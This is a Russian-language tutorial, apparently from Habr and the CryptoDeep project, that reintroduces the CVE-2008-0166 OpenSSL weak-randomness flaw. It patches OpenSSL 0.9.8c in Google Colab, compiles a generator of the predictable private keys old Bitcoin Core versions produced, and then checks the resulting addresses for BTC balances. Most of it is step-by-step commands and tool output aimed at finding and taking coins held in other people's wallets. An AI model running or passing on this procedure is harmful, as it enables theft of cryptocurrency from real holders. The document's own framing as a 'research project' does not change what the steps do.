[recovery mode] Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

В этой статье мы создадим инструмент который будет генерировать Биткоин Адреса (P2KH), используя уязвимость CVE-2008–0166. Это исследовательский проект для поиска монет BTC на более ранних версиях программного клиента Bitcoin Core

a5881f84dd232d20884a1f6aea142a77.png

Генератор случайных чисел, который генерируетпредсказуемые числа CVE-2008–0166

VAIM- OpenSSL 0.9.8/1.0.0 Detected

Критической уязвимость версии OpenSSL 0.9.8 CVE-2008–0166 заполнялась только идентификатором процесса. Из-за различий между порядком байтов и sizeof (long) выходные данные зависят от архитектуры: 32-битный прямой порядок байтов (например, i386), 64-битный прямой порядок байтов (например, amd64, ia64), 32-битный прямой порядок байтов (например, powerpc, sparc). PID 0 — это ядро, а PID_MAX (32768) не достигается при переносе, поэтому для каждой архитектуры было 32767 возможных потоков случайных чисел.

6361d36aae42327f846fe907ae18b8e5.png

Программный клиент Bitcoin Core использует библиотеку OpenSSL. В частности, он использует функцию «EC_KEY_generate_key()» для генерации Биткоин Адресов (например, ключа) для получения платежей. Старые версии Bitcoin Core генерируют и хранят 100 ключей в wallet.dat

Новый ключ генерируется только при получении Биткоин платежа. Таким образом, программный клиент Bitcoin Core сохраняет пул из 100 неиспользуемых Биткоин Ключей (адресов). Состояние внутреннего генератора случайных чисел зависит от того, какие другие вызовы были сделаны в библиотеке OpenSSL до вызова 'EC_KEY_generate_key()'. Вызовы, влияющие на внутреннее состояние ГСЧ: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».

Таким образом, исследование заключалось в том, чтобы просмотреть множество старых источников Биткоина, чтобы выяснить, какие вызовы были сделаны, которые повлияли на внутреннее состояние ГСЧ перед вызовом «EC_KEY_generate_key()». Путь вызова меняется между версиями программного клиента Bitcoin Core

Исследование было сосредоточено на следующих версиях:

| Дата выхода | Версия || Дата выхода | Версия |

Наше цель сгенерировать приватные ключи для каждой версии программного клиента Bitcoin Core, для каждой архитектуры (le32/le64), для каждого идентификатора процесса и для Биткоин Адресов (P2KH), используя случайное число из критической уязвимости OpenSSL 0.9.8.

В конечном итоге мы создадим Генератор Биткоин Адресов (P2KH) и все будет сохранятся в файл result.txt

Все сохранится в хранилище файлов Google DriveВсе сохранится в хранилище файлов Google Drive

Сделаем OpenSSL снова уязвимым

Воспользуемся для этого дистрибутивом «Ubuntu 18.04.5 LTS» от Google Colab

863ca2632e97c6137636ef19d9871c34.png

Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Запустим команду:

cat /etc/lsb-release

«Ubuntu 18.04.5 LTS»

Давайте перейдем в репозиторию «CryptoDeepTools» и разберем всё в детали

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/05VulnerableOpenSSL/

ls -lh

33e42d134f9f1fe2bec6a4369ded1b07.png

Обновим и установим g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y

установим g++установим g++

sudo apt-get install libgmp3-dev libmpfr-dev -y

abbee73cd3fc0f32bb825d131f6c1990.pngустановим пакеты libgmp3-dev libmpfr-devустановим пакеты libgmp3-dev libmpfr-dev

Для того чтобы OpenSSL снова сделать уязвимым как в CVE-2008–0166
Скачаем openssl-0.9.8c.tar.gz и пропатчим системные файлы

wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz

efc1281b40a87e9301437cd44d3a06bf.pngc677a7a43cdaf592fa288c1d0717cf0c.png

tar xfz openssl-0.9.8c.tar.gz

3b70140f25ff755ed55aca49c7b8b65c.png

mv openssl-0.9.8c openssl-0.9.8c-vuln

cd openssl-0.9.8c-vuln

3d18e98de9a34f05cf61c8766c1f817c.png

ls -lh

7eb8d384683944cdde59fbcadc9d624e.png

patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff

a25d2f9574d2ed2533fcf6495e780466.png

В системе LE-64 используем:

./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm

151bd04f2078f6668fa9001ec0281243.png

make depend all

dadad05a20fb35f2022d3cd063a53db4.png

Перейдем обратно в каталог content/

cd /

ls

07dac71fc87331f2d7764dcaab3880b1.png

cd content/CryptoDeepTools/05VulnerableOpenSSL/

ls -lh

a80061cffc581eb46cb2f1b9a11dd259.png

Компиляция:

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto

ls -lh

cryptodeepbtcgen успешно создан!cryptodeepbtcgen успешно создан!

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h

b601a69413aacc3e9efa10ef0fb084fb.png

Все поддерживаемые версии программного клиента Bitcoin Core:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l

77ab0df5baf110bd11c89ccebba0791d.png

crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0   - 0.3.24
#1   - 0.8.6-d
#2   - 0.8.6-qt
#3   - 0.9.1-d
#4   - 0.9.4-d
#5   - unknownA
#6   - unknownB
#7   - unknownC
#8   - unknownD
#9   - unknownE
#10  - unknownF
#11  - unknownG
#12  - unknownH
#13  - unknownI
#14  - unknownJ
#15  - unknownK
#16  - unknownA0
#17  - unknownA1
#18  - unknownA2
#19  - unknownA3
#20  - unknownA4
#21  - unknownB0
#22  - unknownB1
#23  - unknownB2
#24  - unknownB3
#25  - unknownC0
#26  - unknownC1
#27  - unknownC2
#28  - unknownD0
#29  - unknownD1
#30  - unknownD2
#31  - unknownD3
#32  - unknownD4
#33  - unknownD5
#34  - unknownE0
#35  - unknownA0x
#36  - unknownA1x
#37  - unknownA2x
#38  - unknownA3x
#39  - unknownA4x
#40  - unknownB0x
#41  - unknownB1x
#42  - unknownB2x
#43  - unknownB3x
#44  - unknownC0x
#45  - unknownC1x
#46  - unknownC2x
#47  - unknownD0x
#48  - unknownD1x
#49  - unknownD2x
#50  - unknownD3x
#51  - unknownD4x
#52  - unknownD5x
#53  - unknownE0x
crypto >

Запуск cryptodeepbtcgen -n 32 -v 0:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Запуск cryptodeepbtcgenЗапуск cryptodeepbtcgen

Все сохранится в хранилище файлов Google Drive как текстовый файл result.txt

abb8f18ea7575d6b967bbe083d984943.png

Проверяем закрытый ключ!

Проверяем закрытый ключ на сайте bitaddressПроверяем закрытый ключ на сайте bitaddress

Далее остается проверить все сгенерированные Биткоин Адреса на наличие монет BTC, для этого мы можем воспользоваться Python-скриптом: bitcoin-checker.py

Исходный код

Видеоматериал:  https://youtu.be/zHkXups2I8k

Источник:  https://cryptodeep.ru/vulnerable-openssl

© Habrahabr.ru